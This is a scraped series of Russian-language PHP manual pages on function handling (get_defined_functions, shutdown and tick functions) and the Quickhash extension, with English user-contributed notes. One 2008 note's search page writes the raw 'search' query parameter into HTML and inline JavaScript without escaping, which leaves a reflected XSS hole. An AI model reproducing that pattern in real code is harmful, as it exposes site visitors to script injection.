This is rather a simple non-confusing script to get the function names linked to its manual page on php.net. Hope it helps someone. Commented script is self explainatory

<?php

    /*declare a variable to php manual of functions.
    change the $lng to the region you want it for,
    i-e en/es/de etc etc */
    $lng = "es";
    $url = "http://www.php.net/manual/".$lng."/function.";

    // get defined functions in a variable (it will be a 2D array)
    $functions = get_defined_functions();

    // Run nested foreach to get the function names
    foreach($functions as $function){
        foreach ($function as $functionName){

            /* Since php manual is using hyphens instead of underscores
            for functions, we will convert underscores to hyphen whereever
            there is one. */
            if(strpos($functionName,"_") !== false){
                $functionForURL = str_replace("_","-",$functionName);
            } else {
                $functionForURL = $functionName;
            }

            /* echo the link */
            echo "<a href='".$url.$functionForURL.".php'>".$functionName."</a><br />";
        }
    }

?>
Muneeb Aslam 26-Oct-2015 07:46
We can also get the function names with this simple foreach

<?php

    //Since its a two dimensional array
    $functions = get_defined_functions();

    //We can use nested foreach to get the function names
    foreach($functions as $function){
         foreach($function as $thisFunc){
             echo $thisFunc . "<br />";
         }
     }

?>
kkuczok at gmail dot com 22-May-2013 08:14
You can list all arguments using ReflectionFunction class. It's not necessary to parse selected files/files as suggested by Nguyet.Duc.

http://php.net/manual/pl/class.reflectionfunction.php

Example:
<?php
function foo(&$bar, $big, $small = 1) {}
function bar($foo) {}
function noparams() {}
function byrefandopt(&$the = 'one') {}

$functions = get_defined_functions();
$functions_list = array();
foreach ($functions['user'] as $func) {
        $f = new ReflectionFunction($func);
        $args = array();
        foreach ($f->getParameters() as $param) {
                $tmparg = '';
                if ($param->isPassedByReference()) $tmparg = '&';
                if ($param->isOptional()) {
                        $tmparg = '[' . $tmparg . '$' . $param->getName() . ' = ' . $param->getDefaultValue() . ']';
                } else {
                        $tmparg.= '&' . $param->getName();
                }
                $args[] = $tmparg;
                unset ($tmparg);
        }
        $functions_list[] = 'function ' . $func . ' ( ' . implode(', ', $args) . ' )' . PHP_EOL;
}
print_r($functions_list);
?>

Output:
Array
(
    [0] => function foo ( &&bar, &big, [$small = 1] )

    [1] => function bar ( &foo )

    [2] => function noparams (  )

    [3] => function byrefandopt ( [&$the = one] )

)
Nguyet.Duc 30-Jul-2011 01:22
get_defined_functions() just returns a list of function names without function arguments. Here is the code to list user-defined function names plus arguments:

<?php
    $content = file_get_contents('example.php');
    preg_match_all("/(function )(\S*\(\S*\))/", $content, $matches);
    foreach($matches[2] as $match) {
        $function[] = "// " . trim($match) . "<br />\n";
    }
    natcasesort($function);
    $functionlist .= "/* Functions in this file */<br />\n";
    $functionlist .= "/**************************/<br />\n\n";
    $functionlist .= implode('', $function);
    echo $functionlist;
?>

Output:

/* Functions in this file */
/**************************/
// add_data($data)
// add_files($list)
// archive($name)
// bzip_file($name)
rob at webdimension dot co dot uk 01-Apr-2011 08:48
A quick way of using this function:

<?php
// ALL USER DEFINED FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['user'] as $key => $value){
echo $value.'<br />';
}
// ALL USER DEFINED FUNCTIONS

// ALL INTERNAL FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['internal'] as $key => $value){
echo $value.'<br />';
}
// ALL INTERNAL FUNCTIONS
?>
ChaosKaizer 10-Jul-2008 07:13
for user defined function

<?php
/**
 * @param string $function_name The user function name, as a string.
 * @return Returns TRUE if function_name  exists and is a function, FALSE otherwise.
 */
function user_func_exists($function_name = 'do_action') {

    $func = get_defined_functions();

    $user_func = array_flip($func['user']);

    unset($func);

    return ( isset($user_func[$function_name]) );
}
?>
strrev xc.noxeh@ellij 04-Jun-2008 05:31
Please note that functions created with create_function() are not returned.
(However that might change in a later version)
spudinski at gmail dot com 01-Apr-2008 06:13
To search for a function.
<html>
<head>
<title>List of all Internal functions</title>
<style type="text/css">
body {
    background-color: #FFFFFF;
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
table {
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
tr.found {
    background-color: #66EE00;
    font-weight: bold;
}
a:link {
    color: #222222;
}
a:visited {
    color: #CCCCCC;
}
a:active {
    color: #444444;
}
a:hover {
    text-decoration: underline;
}
</style>
</head>
<body>
<p>
    <form method="GET">
    Search: <input type="text" name="search"><br>
    <input type="submit">
    </form>
</p>
<?php
    if (!empty($_GET['search'])) {
        echo '<p>' . '<a href="#' . $_GET['search'] . '">' .
        'Goto ' . $_GET['search'] . '</a>' .
        '<script type="text/javascript">
            window.onload = function() {
                document.location += "#' . $_GET['search'] . '";
                return true;
            }
        </script>
        </p>';
    }
?>
<p>
    <table>
<?php
    $country = 'us';
    $functions = get_defined_functions();
    $functions = $functions['internal'];
    $num = 0;
    foreach($functions as $function) {
        $num++;
        echo '<tr ' . (($_GET['search'] == $function) ? 'class="found"' : '') . '><td>' .
        number_format($num) . '</td><td>' . '<a name="' . $function . '" href="http://' . $country . '.php.net/' .
        $function . '">' . $function . '</a>' . '</td></tr>';
    }
?>
    </table>
</p>
</body>
</html>
berchentreff at berchentreff dot de 31-Mar-2006 05:46
look at here, list all the defined function on your php-Version and give as well formatted output width links onto the php-manual:

<html><head>
<style type="text/css"><!--
li{font-family:Verdana,Arail,sans-serif;width:500px;margin-top:7px;}
a{padding:4px;}
a.a1{font-size:12px;background-color:#CCCCCC;color:#663300;}
a.a1:hover{background-color:#663300;color:#CCCCCC;}
a.a1:visited{background-color:#fff;color:#999;}
a.a1:visited:hover{background-color:#fff;color:#999;}
a.a0{font-size:12px;background-color:#CCCCFF;color:#663399;}
a.a0:hover{background-color:#663399;color:#CCCCFF;}
a.a0:visited{background-color:#ffC;color:#999;}
a.a0:visited:hover{background-color:#ffC;color:#999;}
--></style>
</head><body style="background-color:#999;">
<?php
$arr = get_defined_functions();

foreach($arr as $zeile){
sort($zeile);$s=0;
foreach($zeile as $bzeile){
$s=($s)?0:1;
echo "<li><a class='a".$s."'  href='http://de.php.net/".$bzeile."'>".$bzeile."</a></li>";}
}
?>
</body>
</html>
mIHATESPAMduskis at bates dot edu 21-Nov-2002 02:47
At least with PHP 4.2.3 on a GNU/Linux/Apache platform, get_defined_functions() returns user-defined functions as all-lower case strings regardless of how the functions are capitalized when they are defined.

Threw me for a loop.
peten at spam dot me dot not dot frontiernet dot net 02-Jun-2002 10:28
Here's a useful trick with the get_defined_functions function - show all available functions with a link to the documentation (you can even change the mirror it goes to):

<?php
  // the php mirror
  $php_host = "http://us2.php.net/";

  // the number of cols in our table
  $num_cols = 3;

  $ar = get_defined_functions();
  $int_funct = $ar[internal];
  sort($int_funct);
  $count = count($int_funct);
?>
<html>
 <head>
  <title>
   Available PHP Functions
  </title>
 </head>
 <body>
  <p>
   <?php print $count; ?> functions
    available on
    <?php
      print $_SERVER[SERVER_NAME];
     ?>
   (<a href="<?php print $php_host;?>"
    target="phpwin">php</a>
    version
    <?php print phpversion(); ?>)
  </p>
  <table align="center" border="2">
   <tr>
<?php
  for($i=0;$i<$count;$i++) {
    $doc = $php_host
     . "manual/en/function."
     . strtr($int_funct[$i], "_", "-")
     . ".php";
    print "    <td><a href=\"" . $doc
     . "\" target=\"phpwin\">"
     . $int_funct[$i]
     . "</a></td>\n";
    if(($i > 1)
     && (($i+$num_cols)%$num_cols==($num_cols-1)))
      print "   </tr>\n   <tr>\n";
    }
  for($i=($num_cols-($count%$num_cols));$i>0;$i--)
    print "    <td>&nbsp;</td>\n";
?>
  </table>
 </body>
</html>


Регистрирует функцию, которая выполнится при завершении работы скрипта

  • « get_defined_functions
  • register_tick_function »
  • PHP Manual
  • Функции управления функциями
  • Регистрирует функцию, которая выполнится при завершении работы скрипта

register_shutdown_function

(PHP 4, PHP 5, PHP 7, PHP 8)

register_shutdown_function — Регистрирует функцию, которая выполнится при завершении работы скрипта

Описание

register_shutdown_function(callable $callback, mixed ...$args): void

Регистрирует функцию callback, которая выполнится после завершения работы скрипта или при вызове функции exit().

Возможна регистрация нескольких подобных функций с помощью register_shutdown_function(), при этом функции будут выполняться в том порядке, в каком они были зарегистрированы. Если вы вызовете exit() в одной из зарегистрированных завершающих функций, процесс будет полностью остановлен и последующие завершающие функции не будут вызваны.

Завершающие функции также могут сами вызывать register_shutdown_function(), чтобы добавить функцию выключения в конец очереди.

Список параметров

callback

Регистрируемая завершающая функция.

Завершающие функции выполняются как часть запроса, поэтому можно отправлять данные на вывод из них и получать доступ к буферизации вывода.

args

Можно передавать параметры в завершающую функцию, передав дополнительные параметры.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования register_shutdown_function()

<?php
function shutdown()
{
// Это наша завершающая функция,
// здесь мы можем выполнить все последние операции
// перед тем как скрипт полностью завершится.

echo 'Скрипт успешно завершился', PHP_EOL;
}

register_shutdown_function('shutdown');
?>

Примечания

Замечание:

Рабочая директория скрипта может измениться внутри завершающей функции на некоторых веб-серверах, например, Apache.

Замечание:

Функции, выполняемые при завершении скрипта, не будут выполнены, если процесс был убит с сигналами SIGTERM или SIGKILL. Хотя вы и не можете перехватить SIGKILL, но вы можете использовать функцию pcntl_signal(), чтобы задать обработчик сигнала SIGTERM, который использует функцию exit(), чтобы завершить скрипт правильно.

Замечание:

Завершающие функции выполняются отдельно от времени, отслеживаемого max_execution_time. Это означает, что даже если процесс будет завершён из-за слишком долгого выполнения, завершающие функции всё равно будут вызваны. Кроме того, если max_execution_time истечёт во время работы завершающей функции, процесс не будет завершён.

Смотрите также

  • auto_append_file
  • exit() - Выводит сообщение и прекращает выполнение текущего скрипта
  • fastcgi_finish_request() - Сбрасывает все запрошенные данные клиенту
  • Раздел Обработка соединений

User Contributed Notes

josh at joshstrange dot com 09-Nov-2023 04:27
> Shutdown functions run separately from the time tracked by max_execution_time. That means even if a process is terminated for running too long, shutdown functions will still be called. Additionally, if the max_execution_time runs out while a shutdown function is running it will not be terminated.

This does not appear to be true in our testing, specifically "Additionally, if the max_execution_time runs out while a shutdown function is running it will not be terminated".  For example:

<?php
set_time_limit(5);

register_shutdown_function(function() {
    $start = time();
    for($i = 0; $i < 40; $i++) {
        echo "Run 1: $i\n";
        while(1) {
            $elapsed = time() - $start;
            if($elapsed > $i) {
                break;
            }
        }
    }
});

?>

This will print out:

Run 1: 0
Run 1: 1
Run 1: 2
Run 1: 3
Run 1: 4
Run 1: 5

Then it will die with:

Execution took longer than 5 seconds, sent SIGTERM and terminated

If you register multiple shutdown functions and an earlier one exceeds the execution time the later ones will _not_ be run.

If you need your shutdowns to have unlimited time (like the docs suggest it works) one solution might be to register a shutdown function like this early in your code:

<?php
register_shutdown_function(function() {
    set_time_limit(0);
});
?>

So that you give yourself unlimited time in your subsequent shutdown functions.

See an example here: https://www.tehplayground.com/wJLtMi3Z5c1sTi9Y (Note, 5 seconds is the max you can set on this website. If you remove the first shutdown function you it will be killed after 3 seconds).
Anonymous 16-Mar-2019 10:08
warning: in addition to SIGTERM and SIGKILL, the shutdown functions won't run in response to SIGINT either. (observed on php 7.1.16 on windows 7 SP1 x64 + cygwin  and php 7.2.15 on Ubuntu 18.04)
raat1979 at gmail dot com 08-Feb-2017 07:31
I wanted to set the exit code for a CLI application from a shutdown function by using a class property,

Unfortunataly (as per manual)  "If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

As a result if I call exit in my shutdown function I will break other shutdown functions (like one that logs fatal errors to syslog)

However! (as per manual)  "Multiple calls to register_shutdown_function() can be made, and each will be called in the same order as they were registered."

As luck would have it you are also able to register a shutdown function from within a shutdown function (at least in PHP 7.0.15 and 5.6.30)

in other words if you register a shutdown function inside a shutdown function it is appended to the shutdown function queue.

<?php
class SomeApplication{
    private $exitCode = null;

    public function __construct(){
        register_shutdown_function(function(){
        echo "some registered shutdown function";
            register_shutdown_function(function(){
                echo "last registered shutdown function";
                // one might even consider another register shutdown_function if one expects other shutdown functions to do the same...
                exit($this->exitCode === null ? 0 : $this->exitCode);
            });
        });
    }
}
?>
alexyam at live dot com 08-Apr-2012 03:50
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
emanueledelgrande ad email dot it 19-Sep-2010 07:53
A lot of useful services may be delegated to this useful trigger.
It is very effective because it is executed at the end of the script but before any object destruction, so all instantiations are still alive.

Here's a simple shutdown events manager class which allows to manage either functions or static/dynamic methods, with an indefinite number of arguments without using any reflection, availing on a internal handling through func_get_args() and call_user_func_array() specific functions:

<?php
// managing the shutdown callback events:
class shutdownScheduler {
    private $callbacks; // array to store user callbacks

    public function __construct() {
        $this->callbacks = array();
        register_shutdown_function(array($this, 'callRegisteredShutdown'));
    }
    public function registerShutdownEvent() {
        $callback = func_get_args();

        if (empty($callback)) {
            trigger_error('No callback passed to '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        if (!is_callable($callback[0])) {
            trigger_error('Invalid callback passed to the '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        $this->callbacks[] = $callback;
        return true;
    }
    public function callRegisteredShutdown() {
        foreach ($this->callbacks as $arguments) {
            $callback = array_shift($arguments);
            call_user_func_array($callback, $arguments);
        }
    }
    // test methods:
    public function dynamicTest() {
        echo '_REQUEST array is '.count($_REQUEST).' elements long.<br />';
    }
    public static function staticTest() {
        echo '_SERVER array is '.count($_SERVER).' elements long.<br />';
    }
}
?>

A simple application:

<?php
// a generic function
function say($a = 'a generic greeting', $b = '') {
    echo "Saying {$a} {$b}<br />";
}

$scheduler = new shutdownScheduler();

// schedule a global scope function:
$scheduler->registerShutdownEvent('say', 'hello!');

// try to schedule a dyamic method:
$scheduler->registerShutdownEvent(array($scheduler, 'dynamicTest'));
// try with a static call:
$scheduler->registerShutdownEvent('scheduler::staticTest');

?>

It is easy to guess how to extend this example in a more complex context in which user defined functions and methods should be handled according to the priority depending on specific variables.

Hope it may help somebody.
Happy coding!
jawsper at aximax dot nl 20-Apr-2010 05:21
Something found out during testing:

the ini auto_append_file will be included BEFORE the registered function(s) will be called.
ravenswd at gmail dot com 21-Dec-2009 01:43
You may get the idea to call debug_backtrace or debug_print_backtrace from inside a shutdown function, to trace where a fatal error occurred. Unfortunately, these functions will not work inside a shutdown function.
pgl at yoyo dot org 02-Aug-2009 02:25
You definitely need to be careful about using relative paths in after the shutdown function has been called, but the current working directory doesn't (necessarily) get changed to the web server's ServerRoot - I've tested on two different servers and they both have their CWD changed to '/' (which isn't the ServerRoot).

This demonstrates the behaviour:

<?php
function echocwd() { echo 'cwd: ', getcwd(), "\n"; }

register_shutdown_function('echocwd');
echocwd() and exit;
?>

Outputs:

cwd: /path/to/my/site/docroot/test
cwd: /

NB: CLI scripts are unaffected, and keep their CWD as the directory the script was called from.
RLK 14-Sep-2008 02:26
Contrary to the the note that "headers are always sent" and some of the comments below - You CAN use header() inside of a shutdown function as you would anywhere else; when headers_sent() is false. You can do custom fatal handling this way:

<?php
ini_set('display_errors',0);
register_shutdown_function('shutdown');

$obj = new stdClass();
$obj->method();

function shutdown()
{
  if(!is_null($e = error_get_last()))
  {
    header('content-type: text/plain');
    print "this is not html:\n\n". print_r($e,true);
  }
}
?>
dweingart at pobox dot com 13-Mar-2006 08:53
I have discovered a change in behavior from PHP 5.0.4 to PHP 5.1.2 when using a shutdown function in conjunction with an output buffering callback.

In PHP 5.0.4 (and earlier versions I believe) the shutdown function is called after the output buffering callback.

In PHP 5.1.2 (not sure when the change occurred) the shutdown function is called before the output buffering callback.

Test code:
<?php
function ob_callback($buf) {
    $buf .= '<li>' . __FUNCTION__ .'</li>';
    return $buf;
}

function shutdown_func() {
    echo '<li>' . __FUNCTION__ .'</li>';
}

ob_start('ob_callback');
register_shutdown_function('shutdown_func');
echo '<ol>';
?>

PHP 5.0.4:

1. ob_callback
2. shutdown_func

PHP 5.1.2:

1. shutdown_func
2. ob_callback
kenneth dot kalmer at gmail dot com 27-Jan-2006 09:26
I performed two tests on the register_shutdown_function() to see under what conditions it was called, and if a can call a static method from a class. Here are the results:

<?php
/**
 * Tests the shutdown function being able to call a static methods
 */
class Shutdown
{
    public static function Method ($mixed = 0)
    {
        // we need absolute
        $ap = dirname (__FILE__);
        $mixed = time () . " - $mixed\n";
        file_put_contents ("$ap/shutdown.log", $mixed, FILE_APPEND);
    }
}
// 3. Throw an exception
register_shutdown_function (array ('Shutdown', 'Method'), 'throw');
throw new Exception ('bla bla');

// 2. Use the exit command
//register_shutdown_function (array ('Shutdown', 'Method'), 'exit');
//exit ('exiting here...')

// 1. Exit normally
//register_shutdown_function (array ('Shutdown', 'Method'));
?>

To test simply leave one of the three test lines uncommented and execute. Executing bottom-up yielded:

1138382480 - 0
1138382503 - exit
1138382564 - throw

HTH
http://livejournal.com/~sinde1/ 02-Dec-2005 04:49
If you want to do something with files in function, that registered in register_shutdown_function(), use ABSOLUTE paths to files instead of relative. Because when script processing is complete current working directory chages to ServerRoot (see httpd.conf)
sts at mail dot xubion dot hu 15-Mar-2004 02:56
If you need the old (<4.1) behavior of register_shutdown_function you can achieve the same with "Connection: close" and "Content-Length: xxxx" headers if you know the exact size of the sent data (which can be easily caught with output buffering).
An example:
<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

The same will work with registered functions.
According to http spec, browsers should close the connection when they got the amount of data specified in Content-Length header. At least it works fine for me in IE6 and Opera7.
jules at sitepointAASASZZ dot com 01-Jul-2003 12:41
If your script exceeds the maximum execution time, and terminates thusly:

Fatal error: Maximum execution time of 20 seconds exceeded in - on line 12

The registered shutdown functions will still be executed.

I figured it was important that this be made clear!


Регистрирует функцию для выполнения при каждом тике

  • « register_shutdown_function
  • unregister_tick_function »
  • PHP Manual
  • Функции управления функциями
  • Регистрирует функцию для выполнения при каждом тике

register_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

register_tick_function — Регистрирует функцию для выполнения при каждом тике

Описание

register_tick_function(callable $callback, mixed ...$args): bool

Регистрирует функцию callback, которая должна вызываться при каждом тике.

Список параметров

callback

Регистрируемая функция.

args

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования register_tick_function()

<?php
declare(ticks=1);

// использование функции в качестве обратного вызова
register_tick_function('my_function', true);

// использование метода объекта
$object = new my_class();
register_tick_function(array($object, 'my_method'), true);
?>

Смотрите также

  • declare
  • unregister_tick_function() - Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

User Contributed Notes

Peter Featherstone 08-Jun-2017 09:03
Due to an implementation bug, the declare(ticks=1) directive leaked into different compilation units prior to PHP 7.0. This is not how declare() directives, which are per-file or per-scope, are supposed to work.

Therefore there are different implementations between PHP 5.6 and the correct implementation has been added in PHP 7.0. This means the below script will return different results

#index.php

<?php

declare(ticks=1);
$count = 0;

register_tick_function('ticker');
function ticker() {
  global $count;
  $count++;
}

?>

#inc.php

<?php

$baz = "baz";
$qux = "qux";

?>

Running php index.php in the terminal gives:

    PHP 5.6 - 7
    PHP 7.0 - 5
Carlos Granados 04-Jan-2017 05:59
A working example with variable input for validating the asymptotic analysis of your algorithm:

<?php

$n = 1000; // Size of your input

declare(ticks=1);

class Counter {
    private $counter = 0;

    public function increase()
    {
        $this->counter++;
    }

    public function print()
    {
        return $this->counter;
    }
}

$obj = new Counter;

register_tick_function([&$obj, 'increase'], true);

for ($i = 0; $i < 100; $i++)
{
    $a = 3;
}

// unregister_tick_function([&$obj, 'increase']);
// Not sure how to de-register, you can use static methods and members in the Counter instead.

var_dump("Number of basic low level operations: " . $obj->print());

?>
Ahmad Samiei 30-Aug-2013 03:41
put in in your index to find where your code exited. find die o exit

function shutdown_find_exit()
{
var_dump($GLOBALS['dbg_stack']);
}
register_shutdown_function('shutdown_find_exit');
function write_dbg_stack()
{
$GLOBALS['dbg_stack'] = debug_backtrace();
}
register_tick_function('write_dbg_stack');
declare(ticks=1);
rob dot eyre at gmail dot com 22-Jul-2011 05:19
It looks like register_tick_function() can accept an anonymous function, but unregister_tick_function() cannot
Jeremy 21-Jun-2007 11:03
I tried the following on an IIS 6/PHP 5 machine:

<?php

    set_time_limit(0);

    function profiler($return = false)
    {
        static $m = 0;
        if($return) return $m . " bytes";
        if(($mem = memory_get_usage()) > $m) $m = $mem;
    }

    register_tick_function('profiler');
    declare(ticks = 1);

    $numbers = array();
    for($i=0; $i<1000000; $i++)
    {
        print($i . "<br />");
    }

    print(profiler(true));

?>

...and got the following errors:

1) PHP has encountered an Unhandled Exception Code -1073741674 at 0435EC5A
2) PHP has encountered an Access Violation at 02727891
3) PHP has encountered an Access Violation at 02727879
4) PHP has encountered an Access Violation at 00000000

So far the code hasn't crashed the web server, but like the warning says, "register_tick_function() should not be used with threaded web server modules. Ticks are not working in ZTS mode and may crash your web server."

Strangely enough, the code does execute successfully every once in a while.


Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

  • « register_tick_function
  • Quickhash »
  • PHP Manual
  • Функции управления функциями
  • Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

unregister_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

unregister_tick_function — Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

Описание

unregister_tick_function(callable $callback): void

Удаляет callback-функцию, переданную в параметр callback из списка функций, так что она больше не выполняется при каждом тике (смотрите tick).

Список параметров

callback

Удаляемая функция.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • register_tick_function() - Регистрирует функцию для выполнения при каждом тике

User Contributed Notes

There are no user contributed notes for this page.


Quickhash

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Примеры
  • QuickHashIntSet — Класс QuickHashIntSet
    • QuickHashIntSet::add — Метод добавляет новую запись в набор
    • QuickHashIntSet::__construct — Создаёт новый объект QuickHashIntSet
    • QuickHashIntSet::delete — Метод удаляет запись из набора
    • QuickHashIntSet::exists — Метод проверяет, является ли ключ частью набора
    • QuickHashIntSet::getSize — Возвращает количество элементов в наборе
    • QuickHashIntSet::loadFromFile — Фабричный метод создаёт набор из файла
    • QuickHashIntSet::loadFromString — Фабричный метод создаёт набор из строки
    • QuickHashIntSet::saveToFile — Метод сохраняет набор в памяти на диске
    • QuickHashIntSet::saveToString — Метод возвращает сериализованную версию набора
  • QuickHashIntHash — Класс QuickHashIntHash
    • QuickHashIntHash::add — Добавить элемент в хеш
    • QuickHashIntHash::__construct — Создаёт объект QuickHashIntHash
    • QuickHashIntHash::delete — Метод удаляет запись из хеша
    • QuickHashIntHash::exists — Метод проверяет, является ли ключ частью хеша
    • QuickHashIntHash::get — Метод извлекает значение из хеша по его ключу
    • QuickHashIntHash::getSize — Возвращает количество элементов в хеше
    • QuickHashIntHash::loadFromFile — Фабричный метод создаёт хеш из файла
    • QuickHashIntHash::loadFromString — Фабричный метод создаёт хеш из строки
    • QuickHashIntHash::saveToFile — Метод сохраняет хеш в памяти на диск
    • QuickHashIntHash::saveToString — Метод возвращает сериализованную версию хеша
    • QuickHashIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashIntHash::update — Метод обновляет запись в хеше новым значением
  • QuickHashStringIntHash — Класс QuickHashStringIntHash
    • QuickHashStringIntHash::add — Метод добавляет новую запись в хеш
    • QuickHashStringIntHash::__construct — Создаёт новый объект QuickHashStringIntHash
    • QuickHashStringIntHash::delete — Метод удаляет запись из хеша
    • QuickHashStringIntHash::exists — Метод проверяет, является ли ключ частью хеша
    • QuickHashStringIntHash::get — Метод извлекает значение из хеша по его ключу
    • QuickHashStringIntHash::getSize — Возвращает количество элементов в хеше
    • QuickHashStringIntHash::loadFromFile — Фабричный метод создаёт хеш из файла
    • QuickHashStringIntHash::loadFromString — Фабричный метод создаёт хеш из строки
    • QuickHashStringIntHash::saveToFile — Метод сохраняет хеш в памяти на диске
    • QuickHashStringIntHash::saveToString — Метод возвращает сериализованную версию хеша
    • QuickHashStringIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashStringIntHash::update — Метод обновляет запись в хеше новым значением
  • QuickHashIntStringHash — Класс QuickHashIntStringHash
    • QuickHashIntStringHash::add — Метод добавляет новую запись в хеш
    • QuickHashIntStringHash::__construct — Создаёт новый объект QuickHashIntStringHash
    • QuickHashIntStringHash::delete — Метод удаляет запись из хеша
    • QuickHashIntStringHash::exists — Метод проверяет, является ли ключ частью хеша
    • QuickHashIntStringHash::get — Метод извлекает значение из хеша по его ключу
    • QuickHashIntStringHash::getSize — Возвращает количество элементов в хеше
    • QuickHashIntStringHash::loadFromFile — Фабричный метод создаёт хеш из файла
    • QuickHashIntStringHash::loadFromString — Фабричный метод создаёт хеш из строки
    • QuickHashIntStringHash::saveToFile — Метод сохраняет хеш в памяти на диске
    • QuickHashIntStringHash::saveToString — Метод возвращает сериализованную версию хеша
    • QuickHashIntStringHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashIntStringHash::update — Метод обновляет запись в хеше новым значением

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль quickhash содержит набор специальных сильно типизированных классов для работы с конкретными реализациями множеств и хешей.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модулю не требуются внешние библиотеки.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/quickhash

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Пример использования Quickhash

<?php
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
$set->add( 1 );
$set->add( 3 );

var_dump( $set->exists( 3 ) );
var_dump( $set->exists( 4 ) );

$set->saveToFile( "/tmp/test-set.set" );

$newSet = QuickHashIntSet::loadFromFile(
"/tmp/test-set.set"
);

var_dump( $newSet->exists( 3 ) );
var_dump( $newSet->exists( 4 ) );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(false)
bool(true)
bool(false)

Пример #2 Пример использования Quickhash ArrayAccess

<?php
$hash = new QuickHashIntHash( 64 );

// Добавление и обновление записей хеша.
$hash[3] = 145926;
$hash[3] = 1415926;
$hash[2] = 72;

// Проверка существования ключей
var_dump( isset( $hash[3] ) );

// Удаление записей хеша
unset( $hash[2] );

// Получение значения, сохранённого для хеша
echo $hash[3], "\n";
?>

Вывод приведённого примера будет похож на:

bool(true)
1415926

Пример #3 Пример использования Quickhash Iterator

<?php
$hash = new QuickHashIntHash( 64 );

// Добавление записей хеша.
$hash[1] = 145926;
$hash[2] = 1415926;
$hash[3] = 72;
$hash[4] = 712314;
$hash[5] = -4234;

foreach( $hash as $key => $value )
{
echo $key, ' => ', $value, "\n";
}
?>

Вывод приведённого примера будет похож на:

5 => -4234
4 => 712314
1 => 145926
2 => 1415926
3 => 72

Пример #4 Пример использования Quickhash String Values

<?php
$hash = new QuickHashIntStringHash( 64 );

// Добавление записей хеша.
$hash[1] = "один миллион четыреста пятнадцать тысяч девятьсот двадцать шесть";
$hash->add( 2, "ещё один" );

foreach( $hash as $key => $value )
{
echo $key, ' => ', $value, "\n";
}
?>

Вывод приведённого примера будет похож на:

1 => один миллион четыреста пятнадцать тысяч девятьсот двадцать шесть
2 => ещё один

User Contributed Notes

There are no user contributed notes for this page.


Класс QuickHashIntSet

(PECL quickhash >= Unknown)

Введение

Класс-обёртка над набором целых чисел.

Класс реализует интерфейс Iterator, что даёт возможность перебора с помощью конструкции foreach. Порядок следования элементов не гарантируется.

Обзор классов

class QuickHashIntSet {
/* Константы */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* Методы */
public add(int $key): bool
public __construct(int $size, int $options = ?)
public delete(int $key): bool
public exists(int $key): bool
publicgetSize(): int
public static loadFromFile(string $filename, int $size = ?, int $options = ?): QuickHashIntSet
public static loadFromString(string $contents, int $size = ?, int $options = ?): QuickHashIntSet
public saveToFile(string $filename): void
public saveToString(): string
}

Предопределённые константы

QuickHashIntSet::CHECK_FOR_DUPES

Если включено, то добавление повторяющихся элементов в набор (с помощью методов QuickHashIntSet::add() или QuickHashIntSet::loadFromFile()) приведёт к отбрасыванию этих элементов. Эта функциональность несколько замедляет работу, так что должен использоваться только если действительно необходим.

QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC

Запрещает использование встроенного в PHP менеджера памяти для внутренних структур. Если включена эта опция, то используемая память не будет учитываться настройкой memory_limit.

QuickHashIntSet::HASHER_NO_HASH

Указывает, что не нужно использовать функцию хеширования, а вместо неё для поиска индекса в цепочке использовать модуль. Это не быстрее обычного хеширования и порождает больше коллизий.

QuickHashIntSet::HASHER_JENKINS1

Хеширующая функция по умолчанию.

QuickHashIntHash::HASHER_JENKINS2

Другой хеширующий алгоритм.

Содержание

  • QuickHashIntSet::add — Метод добавляет новую запись в набор
  • QuickHashIntSet::__construct — Создаёт новый объект QuickHashIntSet
  • QuickHashIntSet::delete — Метод удаляет запись из набора
  • QuickHashIntSet::exists — Метод проверяет, является ли ключ частью набора
  • QuickHashIntSet::getSize — Возвращает количество элементов в наборе
  • QuickHashIntSet::loadFromFile — Фабричный метод создаёт набор из файла
